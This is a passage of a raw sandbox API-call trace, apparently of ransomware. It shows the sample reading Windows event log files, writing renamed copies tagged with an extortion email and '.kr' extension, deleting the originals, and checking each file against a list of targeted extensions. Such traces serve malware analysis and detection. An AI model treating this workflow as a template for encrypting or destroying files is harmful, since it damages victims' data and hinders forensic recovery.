returned 1 [0105.090] WriteFile (in: hFile=0x390, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x144, lpOverlapped=0x0) returned 1 [0105.090] SetEndOfFile (hFile=0x390) returned 1 [0105.090] CloseHandle (hObject=0x390) returned 1 [0105.093] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.093] SetEndOfFile (hFile=0x34c) returned 1 [0105.095] CloseHandle (hObject=0x34c) returned 1 [0105.095] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.095] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString=".doc") returned 4 [0105.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".docx") returned 5 [0105.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.096] lstrlenW (lpString=".pdf") returned 4 [0105.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".xls") returned 4 [0105.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".xlsx") returned 5 [0105.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.096] lstrlenW (lpString=".ppt") returned 4 [0105.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString=".zip") returned 4 [0105.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".rar") returned 4 [0105.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".bz2") returned 4 [0105.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString=".7z") returned 3 [0105.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString=".dbf") returned 4 [0105.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString=".1cd") returned 4 [0105.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.096] lstrlenW (lpString=".jpg") returned 4 [0105.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.097] lstrlenW (lpString=".doc") returned 4 [0105.097] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".docx") returned 5 [0105.097] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.097] lstrlenW (lpString=".pdf") returned 4 [0105.097] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".xls") returned 4 [0105.097] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".xlsx") returned 5 [0105.097] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.097] lstrlenW (lpString=".ppt") returned 4 [0105.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.097] lstrlenW (lpString=".zip") returned 4 [0105.097] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".rar") returned 4 [0105.097] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".bz2") returned 4 [0105.097] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString=".7z") returned 3 [0105.097] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.097] lstrlenW (lpString=".dbf") returned 4 [0105.097] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.097] lstrlenW (lpString=".1cd") returned 4 [0105.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0105.098] lstrlenW (lpString=".jpg") returned 4 [0105.098] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.098] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.098] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0105.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.098] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0105.098] CloseHandle (hObject=0x34c) returned 1 [0105.098] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0105.099] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.099] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.099] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.099] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.099] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0105.101] GetLastError () returned 0x0 [0105.101] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.103] WriteFile (in: hFile=0x390, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.105] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0105.105] WriteFile (in: hFile=0x390, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x13c, lpOverlapped=0x0) returned 1 [0105.105] SetEndOfFile (hFile=0x390) returned 1 [0105.105] CloseHandle (hObject=0x390) returned 1 [0105.108] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.108] SetEndOfFile (hFile=0x34c) returned 1 [0105.110] CloseHandle (hObject=0x34c) returned 1 [0105.110] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.110] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0105.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.110] lstrlenW (lpString=".doc") returned 4 [0105.110] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.110] lstrlenW (lpString=".docx") returned 5 [0105.110] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.111] lstrlenW (lpString=".pdf") returned 4 [0105.111] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString=".xls") returned 4 [0105.111] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString=".xlsx") returned 5 [0105.111] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.111] lstrlenW (lpString=".ppt") returned 4 [0105.111] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.111] lstrlenW (lpString=".zip") returned 4 [0105.111] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString=".rar") returned 4 [0105.111] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString=".bz2") returned 4 [0105.111] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString=".7z") returned 3 [0105.111] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.111] lstrlenW (lpString=".dbf") returned 4 [0105.111] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.111] lstrlenW (lpString=".1cd") returned 4 [0105.111] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.111] lstrlenW (lpString=".jpg") returned 4 [0105.111] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.112] lstrlenW (lpString=".doc") returned 4 [0105.112] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".docx") returned 5 [0105.112] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.112] lstrlenW (lpString=".pdf") returned 4 [0105.112] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".xls") returned 4 [0105.112] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".xlsx") returned 5 [0105.112] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.112] lstrlenW (lpString=".ppt") returned 4 [0105.112] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.112] lstrlenW (lpString=".zip") returned 4 [0105.112] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".rar") returned 4 [0105.112] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".bz2") returned 4 [0105.112] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString=".7z") returned 3 [0105.112] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.112] lstrlenW (lpString=".dbf") returned 4 [0105.112] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.112] lstrlenW (lpString=".1cd") returned 4 [0105.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0105.113] lstrlenW (lpString=".jpg") returned 4 [0105.113] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.113] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.113] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0105.113] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.113] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0105.113] CloseHandle (hObject=0x34c) returned 1 [0105.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0105.113] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.114] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.114] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0105.418] GetLastError () returned 0x0 [0105.418] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.421] WriteFile (in: hFile=0x36c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.424] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0105.424] WriteFile (in: hFile=0x36c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x12c, lpOverlapped=0x0) returned 1 [0105.424] SetEndOfFile (hFile=0x36c) returned 1 [0105.424] CloseHandle (hObject=0x36c) returned 1 [0105.427] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.427] SetEndOfFile (hFile=0x34c) returned 1 [0105.429] CloseHandle (hObject=0x34c) returned 1 [0105.430] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.430] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0105.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.431] lstrlenW (lpString=".doc") returned 4 [0105.431] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.431] lstrlenW (lpString=".docx") returned 5 [0105.431] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.431] lstrlenW (lpString=".pdf") returned 4 [0105.431] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.431] lstrlenW (lpString=".xls") returned 4 [0105.431] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.431] lstrlenW (lpString=".xlsx") returned 5 [0105.431] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.431] lstrlenW (lpString=".ppt") returned 4 [0105.431] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.431] lstrlenW (lpString=".zip") returned 4 [0105.431] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.431] lstrlenW (lpString=".rar") returned 4 [0105.431] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString=".bz2") returned 4 [0105.432] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString=".7z") returned 3 [0105.432] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.432] lstrlenW (lpString=".dbf") returned 4 [0105.432] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.432] lstrlenW (lpString=".1cd") returned 4 [0105.432] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.432] lstrlenW (lpString=".jpg") returned 4 [0105.432] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.432] lstrlenW (lpString=".doc") returned 4 [0105.432] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.432] lstrlenW (lpString=".docx") returned 5 [0105.432] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.433] lstrlenW (lpString=".pdf") returned 4 [0105.433] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString=".xls") returned 4 [0105.433] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString=".xlsx") returned 5 [0105.433] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.433] lstrlenW (lpString=".ppt") returned 4 [0105.433] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.433] lstrlenW (lpString=".zip") returned 4 [0105.433] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString=".rar") returned 4 [0105.433] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString=".bz2") returned 4 [0105.433] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString=".7z") returned 3 [0105.433] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.433] lstrlenW (lpString=".dbf") returned 4 [0105.433] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.433] lstrlenW (lpString=".1cd") returned 4 [0105.433] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0105.433] lstrlenW (lpString=".jpg") returned 4 [0105.433] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.434] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.434] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0105.434] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.434] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1052672) returned 1 [0105.434] CloseHandle (hObject=0x34c) returned 1 [0105.434] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0105.434] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.435] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.435] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0105.435] GetLastError () returned 0x0 [0105.435] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0105.864] WriteFile (in: hFile=0x36c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0105.883] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x1010, lpOverlapped=0x0) returned 1 [0105.892] WriteFile (in: hFile=0x36c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x1020, lpOverlapped=0x0) returned 1 [0106.184] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.185] WriteFile (in: hFile=0x36c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x134, lpOverlapped=0x0) returned 1 [0106.185] SetEndOfFile (hFile=0x36c) returned 1 [0106.186] CloseHandle (hObject=0x36c) returned 1 [0106.215] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.215] SetEndOfFile (hFile=0x34c) returned 1 [0106.217] CloseHandle (hObject=0x34c) returned 1 [0106.217] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.217] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0106.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0106.218] lstrlenW (lpString=".doc") returned 4 [0106.218] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.218] lstrlenW (lpString=".docx") returned 5 [0106.218] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.218] lstrlenW 